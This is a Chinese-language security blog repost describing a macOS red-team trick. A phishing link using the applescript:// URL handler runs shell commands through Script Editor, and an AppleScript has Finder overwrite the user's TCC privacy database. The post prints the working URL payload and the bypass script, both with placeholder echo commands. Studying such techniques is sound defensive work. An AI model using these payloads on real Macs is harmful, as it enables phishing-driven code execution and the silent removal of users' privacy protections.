macOS 红队技巧:通过 AppleScript URL 进行初始访问

admin 2022年4月28日12:22:23评论148 views字数 1388阅读4分37秒阅读模式

点击上方蓝字“Ots安全”一起玩耍

macOS 红队技巧系列

#macOSRedTeamingTricks 系列的想法是分享简单且现成的技巧,这些技巧可能会在 macOS 红队活动期间为您提供帮助。


技巧

这篇文章是关于一个有趣的技巧,它可以帮助你在 macOS 机器上实现初始访问。它需要执行高级网络钓鱼,但内置 TCC 绕过的代码执行功能非常强大。


让我们进入正题。脚本编辑器 ( /System/Applications/Utilities/Script Editor.app) 注册一个applescriptURL 处理程序。它允许传递一个 Apple 脚本,只需单击“播放”按钮即可执行该脚本。


考虑以下网络钓鱼:

macOS 红队技巧:通过 AppleScript URL 进行初始访问

和脚本:

macOS 红队技巧:通过 AppleScript URL 进行初始访问

该链接包含:

applescript://com.apple.scripteditor?action=new&script=do%20shell%20script%20%22/bin/bash%20-s%20%3C%3C'EOF'%0Aecho%20'123'%20%3E%20/tmp/code_executed%0AEOF%22

单击 Apple Mail / iMessage 中的链接不会引发任何其他提示。


为什么这个技巧如此强大?

  • 因为它很简单

  • 因为它执行的代码不需要签名和公证

  • 因为代码执行没有沙盒化

  • 因为它还包括TCC 旁路


TCC 旁路是如何实现的?让我们看一下脚本编辑器的权利。

$ codesign -d --entitlements - "/System/Applications/Utilities/Script Editor.app"Executable=/System/Applications/Utilities/Script Editor.app/Contents/MacOS/Script Editor[Dict]    [...]    [Key] com.apple.private.tcc.allow    [Value]        [Array]            [String] kTCCServiceAddressBook            [String] kTCCServiceAppleEvents            [String] kTCCServiceCalendar            [String] kTCCServiceReminders

私有 TCC 授权允许向kTCCServiceAppleEvents任何应用程序发送 Apple 事件。因此,我们可以向 Finder(具有全盘访问权限)发送一个 Apple 事件,该事件将替换用户的 TCC 数据库。🤯

do shell script "/bin/bash -s <<'EOF'echo '123' > /tmp/TCC.dbEOF"
tell application "Finder" set applicationSupportDirectory to POSIX path of (path to application support from user domain) set tccDirectory to applicationSupportDirectory & "com.apple.TCC/" duplicate file (POSIX file "/tmp/TCC.db" as alias) to folder (POSIX file tccDirectory as alias) with replacingend tell

macOS 红队技巧:通过 AppleScript URL 进行初始访问

原文始发于微信公众号(Ots安全):macOS 红队技巧:通过 AppleScript URL 进行初始访问

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月28日12:22:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   macOS 红队技巧:通过 AppleScript URL 进行初始访问https://cn-sec.com/archives/950667.html

发表评论

匿名网友 填写信息